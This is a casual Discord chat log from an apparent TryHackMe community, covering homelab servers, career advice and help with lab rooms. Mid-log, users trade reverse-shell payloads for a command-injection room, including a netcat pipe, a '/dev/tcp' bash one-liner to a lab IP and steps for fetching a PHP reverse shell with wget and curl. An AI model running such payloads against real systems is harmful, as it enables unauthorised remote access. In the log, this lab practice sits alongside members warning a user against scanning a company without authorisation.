[glass nest]

Obviously nowadays it's not something his dad would need. I feel like the dad might have been a diplomat or something. Was a really nice house, and it would make sense if he needed expensive gear like that to keep up with events live

[naive violet]

Stateside they use different TV tech that needs bigger dishes and stuff

Might be that

[lament tendon]

How do you guys get yourself motivated to do stuff you don‘t want to? Asking for a friend.

Like, stuff that takes a long time.

[devout palm]

I don't.. and that's a self discipline

[lament tendon]

Damn.

That is not an option tho.

[devout palm]

Uh idk

[naive violet]

You don't need to be motivated by anything other than the fact it's got to be done

[lament tendon]

I guess…

[sick lance]

Yoink!

[blazing granite]

I hate the taskbar on top

[sick lance]

Good job it's my vm and not yours then 😛

[glossy portal]

oh man I really need to setup that linpeas

handy tool

[boreal scarab]

LETS FUCKING GO!

[sand trench]

oh noes

the curze of zfs spreads

[molten sky]

zfs will eat half that

[boreal scarab]

Oh don't worry, when I was at 128, it was eating 60

Wonder how hungry it'll get at 256 🤔

28 cores, 56 threads, 256 GB ram. 32 GB PFSense. I'm drowning in Ram

[sick lance]

I give it a week and you'll break it.

[split compass]

TrueNAS?

[boreal scarab]

TrueNAS scale

[boreal scarab]

I kinda broke a VM that's hosted on the server

[split compass]

No snapshot?

[boreal scarab]

Clones

Did my stuff, cloned it before I was doing Pterodactyl... now I'm being told to start all over, oh well.

[split compass]

This is my dev box at work, I want to take it home x'D
Might be a bit noisy though.

[split compass]

Where'd you find your gear? Ebay? Know a reseller?

[boreal scarab]

Best I can do is Xeon E5-2699-V4

[split compass]

Yeah, the Xeons a much more common platform still. I think it'll be a couple years before I see a config like this to buy on used market for home.

[boreal scarab]

22 cores, 44 threads per. So I'd get 44 cores, 88 threads.

[mossy river]

weak

[split compass]

The problem with working in tech, you see the stuff but never take it home x'D

[boreal scarab]

OK Mr no server at home. What do you got?

[boreal scarab]

Or you take it home, and never play with it.

[mossy river]

raspberry pi and a razer toaster

[split compass]

So true.

[sick lance]

And no clue what to do with it.

[boreal scarab]

But can your Razer Toaster run "I am Bread"?

[mossy river]

I don't know but have you seen cooler toast?

[split compass]

Right now at home, I just want my media server, squid proxy w/ steam caching, pi-hole DNS server, and some sort of, likely ZRaid based storage solution.
Don't even need all that much grunt.
My Edge Router-X is decent, so probably won't bother going with [PF|OPN]sense until I move and have access to a faster uplink.

[boreal scarab]

A yup.... I upgraded from 2620, 8 cores, 16 threads, so 16 cores, 32 threads, to 2680 14 cores, 28 threads. 28 cores, 56 threads.

[boreal scarab]

No, no I have not

I mean, I can just host basically endless amount of VM's on the server

Why? Idk

[split compass]

If equivalent GPU grunt was available, I'd say set-up hash cracking web server?
Or maybe a personal @ home LLM?

[boreal scarab]

cries in no GPU in server

[sick lance]

Why are you missing that out?

[boreal scarab]

1U server, no room anyways

[desert shuttle]

Hello all

[sick lance]

L

[boreal scarab]

To mess with PFSense today, or relax

[sand trench]

to finally finish theming rofi or to relax and game all night

[flat hamlet]

Anyone got an idea why would a Reverse shell on either /bin/sh or /bin/bash would return nothing when i type in a command ? no output (i got the reverse shell working and connecting)

[sick lance]

Screenshot?

[flat hamlet]

sure gimme a sec (waiting on the attackbox to launch again )

[rapid merlin]

I guess because you don't really have a shell yet

[feral kindle]

where i verify my discord

w the token

[sharp citrus]

@feral kindle

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Feb 12, 2024, 6:24 PM

[feral kindle]

good

hello everyone

[rapid merlin]

whats good

[feral kindle]

im finishing burp room rn

[rapid merlin]

Nice

[sick lance]

I hope it's the new one and not the old ones

[feral kindle]

are you far in thm ?

[drifting maple]

If you have PIE enabled on a binary , how do you find the libc base address, i get how you get the .efl address by subtracting the leaked one and the the offset you find, but how do you do that for libc?

[rapid merlin]

5 pathways finished but I took a long break and forgot everything so im getting back into it

[drifting maple]

If you have PIE enabled on a binary , how do you find the libc base address, i get how you get the .efl address by subtracting the leaked one and the the offset you find, but how do you do that for libc?

[bleak dagger]

thx

[twin ridge]

Gave +1 Rep to @mossy river (current: #6 - 1151)

[feral kindle]

thats good, take notes also bro

[split compass]

We'll know better once screenshot, but a missing redirect somewhere perhaps?

[feral kindle]

my notebook is already full and i didnt finish complete beginner

lol

[mossy river]

Synapse is killing my PC rn

[bold dawn]

no thats me

[rapid merlin]

Yea I have days when I review every single room I finished just for a refresh

[sick lance]

I'm guessing you meant to post this in two different channels/server

[mossy river]

You wish buddy

[feral kindle]

yeah good what path are you willing to complete first?

i start with complete beginner but im tired about those OWASP ahaha

so long

[bold dawn]

nonono, I meant Synapse is killing me

[mossy river]

You are my PC?

[bold dawn]

correct

[rapid merlin]

I finished the first 5 in the list that Shadow created, check the pinned messages here

[mossy river]

work faster smh

[bold dawn]

then feed me more

you deprive me of my needed components for peak perfomance

[flat hamlet]

So its this room, it gives a site thats open to Command injection as in u can type "& cd ../../../ & pwd" and itll return the output as text, i openned a listening port nc -lp 5555 and did "& /bin/sh | nc myip myport" and i recieve the connection on my end and i have an open shell to type in, but whatever i type returns nothing

[feral kindle]

who also got the 30 day streak 😈

[mossy river]

@lone thistle Can you pop a shell on this?

[mossy river]

In the meantime, have you tried a different payload? And where did you get that payload from?

[flat hamlet]

i tried with bash, with other things before, they all resolve to the same shell, and you can run pretty much anything, tried changing dirs making files all

[mossy river]

Have you explored the possibility that you just can't get a shell?

[flat hamlet]

as in i cant access the /bin/sh file ? as my user ?

because its not root

[mossy river]

There are plenty of things that can prevent you from getting a shell

[sick lance]

IIRC you can

[mossy river]

You can always upload your own /bin/sh static binary and try executing it that way but I don't think that's the problem and it also seems massively out of scope for this room

[flat hamlet]

When i get the the shell hooked on i can type commands and it registers them, then give me a new line

and once i cut the server it outputs the history of all my commands

but no output

[mossy river]

r&b? eh?

[sick lance]

It's not as simple as a command though

[feral kindle]

any rave playlist out here?

i need this when a do some boxes

[mossy river]

I'll never understand why rave/ hyper pop/ techno is popular when users do boxes

[feral kindle]

the hype it makes

[mossy river]

https://open.spotify.com/playlist/6WlSDxfEf5bdz5ukcbk4ur?si=65b19e7aab7e4097

[thorny citrus]

hi @ all

[sick lance]

this command isn't giving you a shell as such

[flat hamlet]

Yea ur prolly right, time to move on to other stuff, Thanks a lot for the answers btw !

[twin ridge]

Gave +1 Rep to @mossy river (current: #6 - 1152)

[mossy river]

I can't find the TryHackMe playlist someone made

[flat hamlet]

How so ? if you mind explaining a lil bit more

[boreal scarab]

When you have no forks so you eat pasta with a spoon....

[thorny citrus]

quick question. how can i see what user running what service on the system in powershell? does anyone know?

[mossy river]

Have you tried this?

[bold dawn]

Try something like this? sh -i >& /dev/tcp/10.10.222.85/5555 0>&1 What scrubz is saying though, is there is a possibility it terminates the command after a certain amount of time (or similar preventitive measures) to prevent stuff like this

At least thats what I'm thinking of, may not be what scrubz is saying

normally it would show the termination though

[sick lance]

Sure

[thorny citrus]

thanks for the hint for the right direction 🙂 i will give it a try

[twin ridge]

Gave +1 Rep to @mossy river (current: #6 - 1153)

[mossy river]

I had someone last night tell me that a server worm wasn't real and that they had made it up

They then insulted my ability

I actually lost it

[sick lance]

The command you use to get a shell will time out.

You can't use it. as it may not be present on the box.

I took a php rev shell, put it my details.

I used the wget from Diagnose it wbesite to take it off my my VM with a python server.

I think used curl http://$targetip/shell.php`

Then caught it on my pwn cat, which returned /usr/bin/bash

I don't know why only one picture is showing, but there is 3 there

[sick lance]

It doesn't it times out.

[mossy river]

ew pwncat

[sick lance]

I can do it with nc if you want. lol

[mossy river]

isn't that the one made by that one YouTuber with the luxurious beard

I mean that one YouTuber I never watch or smth

[sick lance]

No idea tbh

[mossy river]

Is it not made by John Hammond or is that another tool?

[sick lance]

JH done it

with Caleb Stewart 😛

[sick lance]

Did you see my post and understand a little bit more?

[bold dawn]

ah, okay

[flat hamlet]

Im reading it right now lol, i'm still new trynna see bit by bit thanks a lot man

[sick lance]

If you need step by step screenshots so you can follow along with nc I can.

I'll DM them to you though, So I don't clog up general.

[flat hamlet]

yes please i'd be grateful for it

[plush mesa]

https://tenor.com/view/reaction-my-eyes-cant-unsee-burn-gif-7225082

[boreal scarab]

WHA

Who couldn't handle the flash bang?

[umbral bay]

👋

[sick lance]

Good evening Tim.

[devout palm]

A wild tim has appeared in the chat!

[shell nova]

Don't be mean to kitteh

[boreal scarab]

I sorry

[chilly veldt]

I want to go grab some snackies

[gray sonnet]

@boreal scarab morningg

[boreal scarab]

Boi

It's 3 PM

[gray sonnet]

yes

check your DM

the other account

[sick lance]

https://www.theregister.com/2024/02/09/ivanti_discloses_fifth_ics_vulnerability/

Welcome to the month of Ivantiu CVE's

[boreal scarab]

https://tenor.com/view/matilda1996-movie-funny-throws-window-gif-16568789

[night needle]

We Night owls

[blazing granite]

22 here 😂

[rapid merlin]

LOL

[rapid merlin]

that looks like insanity lol

[civic robin]

Lmao the worst nightmare

[rapid merlin]

How does that even happen

[tawny ermine]

Sup chat

[devout palm]

sup

[glass nest]

sup

[chilly veldt]

I got snackies!

[glass nest]

https://tenor.com/view/hmm-suspect-gif-22611582

Healthy snacks?

[chilly veldt]

Corn cakes with sea salt

And a sugar free monster

[glass nest]

That is acceptable 😄

apart from the second bit

[chilly veldt]

I have evening shift right now

[glass nest]

Fine. I'm not disappointed with at this precise moment

[chilly veldt]

I am off at 2300 and home at 0130

[sand trench]

which means bella is in bed at 02:00

[chilly veldt]

Yeah kinda

And then awake again at 0630-0700

[cursive summit]

Not an expert but that does not sound healthy

[chilly veldt]

It's just one day

[cursive summit]

Ahh okok

Thats better haha 🙃

[chilly veldt]

Tomorrow I am home at like 1700 and then I gotta make meal prep, after I have gone shopping, then eat and sleep at like 2000

[glass nest]

really leaning into this adulting

[chilly veldt]

Yes

[boreal scarab]

Think I found my new favorite app

@shut hawk

[shut hawk]

lol it's fairly useful

[boreal scarab]

Some of the tools, there's loads more

[buoyant tree]

isn't it just cyberchef

[shut hawk]

I think I posted a link to a public version in #resources couple weeks back

[shut hawk]

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[crude stump]

Is GitHub trusted

[glass nest]

As a resource, yes. But you gotta look at each tool and use the ratings and stuff to make your own decision

[boreal scarab]

Where the fuck was this when I was in my networking class?

[crude stump]

I see

[crude stump]

What’s the tool?

[boreal scarab]

#general message

Built in Mac address lookup and chmod calculator. Fucking love it

[molten sky]

nah that's pretty normal tbh

it's how we do things around here

[boreal scarab]

Contact generator?!?!?!?!

[blazing granite]

it's a great resource, but after you learn how to convert, and only when you're in a hurry if you're using that from day one, you'll be a slave of the converter and you'd never learn

[fading blaze]

hey there if I have questions concerning a module that doesnt have a discord channel where should I post that kind of message ?

[shut hawk]

GitHub just hosts code

[crude stump]

Oh so you ain’t downloading anything

Unless you use the code

[molten sky]

yeah just browsing is perfectly safe

github is (unfortunately imo) owned by microsoft actually

[crude stump]

Really?

[boreal scarab]

GOOD. I hated that bull shit IP to Hex to Binary back go IP

[crude stump]

Wow

[molten sky]

forget when they bought it but yea

2018 it looks like

one of the few things microsoft hasn't burned to the ground yet

[blazing granite]

I love it 😂

[shut hawk]

🙏

[boreal scarab]

I'm sold

[molten sky]

can you put negative K

[boreal scarab]

Let's see

[shut hawk]

Bruh what even is a romer

[boreal scarab]

@molten sky

[molten sky]

nice

[boreal scarab]

I have 0 freaking clue

0 delisle is 100 C

[blazing granite]

somebody who is danish may know 😂

[boreal scarab]

Oh @chilly veldt

[shut hawk]

My physics teacher is danish, I'll ask em heh

[blazing granite]

also Swiss

[blazing granite]

Some Swiss factories using that scale for measuring milk temperature during cheese production

It's a mystery how much you learn when you study for your Sommelier exam 😂

[chilly veldt]

Rømer?

[blazing granite]

it's name after some Danish scientist

[blazing granite]

Exactly

[crude stump]

Or maybe is FOR ROME

[chilly veldt]

Ahhhh, yeah, it's a temp scale using saltwater

[molten sky]

did i hear roman empire

[crude stump]

You sure did

[chilly veldt]

Or a really salted solution

[blazing granite]

I honestly thought that I'd never see that in my life, but life it's full of surprises apparently 😂

[crude stump]

https://tenor.com/view/here-is-ceaser-who-made-this-gif-21522031

[shut hawk]

Lmao

[molten sky]

my doctor said to stop using salts tho

[crude stump]

💀

[chilly veldt]

It's just the scale that it freezes at 0 and boils at 60

[molten sky]

so worse celsius

got it

[chilly veldt]

Yeah, salted water, not fresh water

[pine stratus]

hello is bug hunting worth it?

[molten sky]

is it worth it? yes

[glass nest]

Nope

[molten sky]

will you make bank? no

[glass nest]

Well, yeah

But no

but also yeah

[pine stratus]

yeah or not

[shut hawk]

Define worth

[glass nest]

why do you want to do it?

[boreal scarab]

https://tenor.com/view/adrien-brody-dragon-blade-roman-empire-rome-engage-gif-24063380

[molten sky]

^

[crude stump]

As a side hobby yes. If you wanna make it a career find a company that does it

[chilly veldt]

Day 1004750 of f darktrace

[pine stratus]

waste my time in order to make my pocket money

[chilly veldt]

I hate it

[shut hawk]

do not view it as a reliable source of income

[glass nest]

How much experience do you have in theis field?

[crude stump]

Not wasting saving company’s butts by finding bounty’s

Helping them

[molten sky]

i make some money from it, but i'm not gonna quit my day job. i do it because i literally get paid for getting better at it

[glass nest]

Gotta save for that new Bike 😄

[molten sky]

why practice for free when you can get paid to practice

[pine stratus]

like im a noob for now , but i feel my self food in it , get a reward of 1000 of finding an idor

[molten sky]

1k is fine for an idor

[chilly veldt]

Ahahahahahaha

[glass nest]

How quickly would a simple idor be found, do you reckon?

[chilly veldt]

Good luck

[molten sky]

hell, i've gotten that just for being like "hey guys, exif geoloc not stripped btw"

[glass nest]

Have you had your share of branded t-shirts and pens aswell?

[molten sky]

not from bounties but from a handful of vendors

[chilly veldt]

I got my good share of t-shirts

[shut hawk]

who knows, fair amount of luck to it

[chilly veldt]

Due to CTFs

[molten sky]

could be 5 minutes could be never

[pine stratus]

no cheating

[crude stump]

Yk what would be a good room idea. A bug bounty room

[molten sky]

keep in mind, how many other people have looked before you?

[pine stratus]

true

[glass nest]

the point is, something like an idor is quite low hanging fruit. And productivity just stole my thiunder 😄

[shut hawk]

It's just web stuff though

Like nothing new will be covered

[crude stump]

True

[boreal scarab]

[shut hawk]

OWASP Top 10 would be a good room for it

[rapid merlin]

woke up today with 2 massive scratches down my forearm

[crude stump]

A cat

[molten sky]

i check for idors on sensitive data/sensitive functions sometmies but that's about it --- otherwise I set up Autorize sometimes and let it just test for them automatically

[rapid merlin]

dog

[blazing granite]

if you really need a chmod calculator, go back and study linux all over again 😂

[glass nest]

Aye, and if a company is offering 10K for a bounty - Chances are they are confident that the low hanging stuff has bee picked

in my mind, idor is only a step above having the main password as Admin:admin

[pine stratus]

imagine i found an idor but i don't know what websocket means

[shut hawk]

Grammarly offer 100K if you get access to an unauthorised doc

Been like that for a couple years now iirc

[naive violet]

Esqy, internet facing admin:admin happens still

[glass nest]

oh yeah, the internet is a big place. But high value bounties, y'know

[molten sky]

same with many password managers. i think 1password's big pot rn is like 2M or something dumb if you can access a particular vault

[umbral bay]

The brother of hodor.™️

[glass nest]

Eyy Timt. been celebrating today?

[blazing granite]

more often than anybody care to admit 😂

[molten sky]

my local qbit is admin:adminadmin

twice as many admins

[rapid merlin]

https://tenor.com/view/spongebob-patrick-star-notes-noted-gif-26232003

[glass nest]

So many admins. Admi? Admae?

Admonians.

Thats it.

i do like how Admi sounds 😄

[umbral bay]

National Clean Out Your Computer Day?

[glass nest]

You were rooting for the niners, right?

[molten sky]

admi is the masculine/mixed plural, admae is the feminine plural

[molten sky]

^

[glass nest]

Admi it is 😄

[pine stratus]

[umbral bay]

The niners lost. Maybe next year. 😄

[glass nest]

Oh. Thats how much I follow handegg 😄

but, yeah, go clean out your computer!

[umbral bay]

Also: Hug Day.

[glass nest]

Yup! Got a tiny rugby tackle-hug from myu neice when I was at my sisters house fixing her washing machine 😄

[devout palm]

Hi people, so i saw SecOps internship post from the same company. I want to ask this question once again for SecOps

[glass nest]

It was adorable. Then she helped me put the machine back together

[rapid merlin]

old movie but great.

[glass nest]

Brobot - Agreed. Even scarier when you keep remembering it was all true.

[rapid merlin]

yeah, bronson is truly a prisons worst nightmare lol

[wanton girder]

Hello

[glass nest]

G'd evnin' Zac Efron

[devout palm]

Sent my CV, hope i can get the internship

[glass nest]

YES HEAP! you got this, you are the best applicant. The others can just... Go back to searching

In fact, they may aswell cancel their applications now.

because You. Got. This.

[devout palm]

I'm not that competent but i think my resume fits with the job description

[glass nest]

You are that competent. Stop doubting yourself. Thers a time for being humble, but applying for an interneship is not that time.

[pine stratus]

😂

[crude stump]

You got this heap

https://tenor.com/view/the-woobles-woobles-pierre-penguin-cheerleader-gif-12509240942260499237

[devout palm]

Thank you all

One day... I'm going to be a pentester

[glass nest]

And on that day, citizens will sing in the streets.

[devout palm]

And, one of them is Esqy!

[pine stratus]

one day ill be a full -time bug bounty hunter

[devout palm]

That's not a job though

[rapid merlin]

god id rather be scraping dirt off the floor than be a full time bug bounty hunter lmao

[pine stratus]

i know 😏

[glass nest]

I can support that, but it's a very steep curve to get there. The amount of time you'll need to spend learning and hunting... May aswell get a regular job

[devout palm]

Yeah, but no matter what

[rapid merlin]

oh the dreamm!! hunting for a bug that turns out to be worth a t-shirt and a sticker.. oh the dream..

[glass nest]

Nothing wrong with a nice clean floor, brobot

[devout palm]

Even if it's the Mount Everest

I will reach the top and be a pentester

[devout palm]

Lmao

[pine stratus]

i don't want to work for a company 😭 i want to be freee , thats why bug hunting is my favorite

[glass nest]

Heap, You're gonna get there easy. I was talking about full-time bug bounty 😄

[pine stratus]

x))))

[devout palm]

oh

[pine stratus]

x))))

[devout palm]

yeah right

[rapid merlin]

can always turn to contracting work once you've gathered the right experience and knowledge

[devout palm]

They sometimes don't give you any bounty

[glass nest]

working for a company has its perks. You can learn new stuff while being paid to do it

[rapid merlin]

also the certs that the company will pay for

[glass nest]

yup

So I'm stuff full of pizza... But still know I have room for an ice lolly. Do humans have a second 'dessert' stomach?

[pine stratus]

but i think you need at least a bachelor degree in order to apply for a company , what abt who love cyber security but haven't go to university but self taught?

[devout palm]

Of course

[rapid merlin]

certs

[devout palm]

There's always a place for desserts

[glass nest]

Shrug. Ther are people on here without degrees who have good pentesting jobs

[rapid merlin]

you really dont need a bachelor degree, self teaching and getting a valuable cert can boost you

[devout palm]

If you're self taught, that's better

[brittle lynx]

Hey guys.

I made a share on my kali and now I use this command on target windows to access share but its not working:

copy \\10.10.15.54:4444\home\thm\aaa C:\

U have any idea why its not working?

[glass nest]

On the other hand, if you CAN get a degree, the process of getting it will help you learn the right skills with experienced tutors and network with your future work/industry peers

[devout palm]

Yeah

That's what i am doing right now

[rapid merlin]

imo, not worth the debt

[lament tendon]

Do you have write permissions to C:\?

[glass nest]

shrug. I paid mine off this year.

[devout palm]

debt?

[rapid merlin]

student loans if you arent paying for the uni degree in full

or in a country where uni isnt free

[devout palm]

oh

i got scholarship

[chilly veldt]

Pay to be able to go to school?
I get paid to go to school😅

[pine stratus]

we are not the same

[devout palm]

[brittle lynx]

The problem is the network path was not found

This is the command I used to create the share:
sudo impacket-smbserver share -smb2support -port 4444 /home/thm

[blazing granite]

that's a strong statement from somebody call Singularity 😂

[lament tendon]

Why not just do it with an http server instead, if that does not work?

[pine stratus]

nice , remark 😂

[brittle lynx]

I'm trying to learn how to use smb to transfer files

[pine stratus]

in network services room?

[rapid merlin]

hear me out

mmm

where is da new rank

[twilit phoenix]

guys im so sad

[sand trench]

same way as ftp but using smbclient on linux

[sick delta]

wait for two week more

[twilit phoenix]

i spent an hour trying to figure out why firefox wasn't working and it was bc i had foxyproxy

[sand trench]

lul

[twilit phoenix]

;-;

[sand trench]

common mistake to forgot to turn of proxy after doing things

*off

[twilit phoenix]

yup

feels like one of those mistakes i'll only make once

[noble orchid]

I do it a lot

[crude stump]

Ivanti is being hammered by threat actors

[chilly veldt]

I just finished counting for today

[blazing granite]

another day, another count 😂

[chilly veldt]

Yeah

[molten sky]

someone hack me some advil thx

[molten sky]

sus

[blazing granite]

I don't have pills, I have wine and whisky 😂

[molten sky]

whiskey is a good hangover cure but i need a people are annoying and i'm tired af cure

[devout palm]

Whisky*

[molten sky]

whisk(e)y

[devout palm]

[chilly veldt]

I got some in my bag

[rapid merlin]

hello, just a question, why cant you access to real webs with their ip and only with its domain name?, is it blocked for not to use nmap or stuff like that? is there any way to use nmap for this kind of webs wirth restrictions?

[devout palm]

Why do you need to nmap their IP?

[blazing granite]

I have scotch, so definitely whisky 🙂

[rapid merlin]

network audit

[molten sky]

we can be friends

scotch >

[rapid merlin]

on the public ip??

yes

[chilly veldt]

Uhm

[blazing granite]

Of course, it would be your pleasure 😉 😂

[rapid merlin]

why would you do that

bro why are you judging me hahah it is just a question, the father of mny best friend has a company and my friend has aked my to try and pwn it

Im not judging

Also just asking a question :p

and do you know the answer of mine haha?

[devout palm]

Did you sign a contract?

[rapid merlin]

yes bro yes

[devout palm]

I don't believe you

[rapid merlin]

No, im not sure. You use nmap inside the network.

[rapid merlin]

ok i dont care wtf

[rapid merlin]

ok thank u!

[twin ridge]

Gave +1 Rep to @icy epoch (current: #802 - 4)

[pallid lotus]

You're aware that depending on your local laws you could end up with a criminal record from this, yes?

That often puts a bit of an end to a future career in the industry too, ftr

TL;DR: don't be flippant when you're doing something that's technically a breach of the law (and is allowable in very specific circumstances regulated by very strict legal documents)

[chilly veldt]

Imagine not being able to use computers for the rest of your life before you turn 20

[devout palm]

Depressing

[rapid merlin]

yes, i didnt know all of the members of this group where judges, i was just asking a question, sorry for being in a court is my mistake to have asked that

[pallid lotus]

I mean, unlikely to be a lifetime ban for a minor committing a minor cyber offence

[rapid merlin]

either way is just a question

[chilly veldt]

Yeah, it was just a hypothetical

[pallid lotus]

Uh huh, try the sarcasm if you end up in front of an actual judge lmao

[rapid merlin]

We are just warning you

[pallid lotus]

Trust me, the "judgement" you're getting in here is in your best interests

[rapid merlin]

^^

[pallid lotus]

Don't screw around with this stuff

[rapid merlin]

yeah yeah i know and i appreciate it but as i have told you is all in rule, im not doing anything eillegal

[sick lance]

You could have a long career in cyber sec.

Or a short one.

I know which one I'd like.

[rapid merlin]

it wast just a question

sorry for bothering

[molten sky]

if the short one means i don't have to work anymore.......

computers suck

[chilly veldt]

Well, hosting services might want to know that you're conducting a test on their servers

[pallid lotus]

So, in other words, you've got relevant credentials backing up your skillset, have a legally binding contract and liability disclaimer, signed and ratified by a lawyer, and have a full understanding of the work you've been tasked to undertake?

[molten sky]

(is a direct violation of many CSP terms)

[molten sky]

• relevant insurance

[pallid lotus]

Yes, that too. + relevant insurance

[sick lance]

Could be worse, you could work for Ivante.

[molten sky]

ouch

[rapid merlin]

thank you for your words i really appreciate it

[pallid lotus]

And yet, you're still off to try it, aren't you?

[chilly veldt]

On another note, I just finished day 3 of no nicotine

[blazing granite]

https://tenor.com/view/burn-kelso-that-70s-show-gif-26311276

[crude stump]

There being hit hard

[rapid merlin]

i would talk to a lawyer for doing the pertinent papers and then try to understand it

[pallid lotus]

Well, that's a good start!

[rapid merlin]

yes but i still dont understand it haha , im not interested in tryng it, just to know if it is becasue of the firewall or something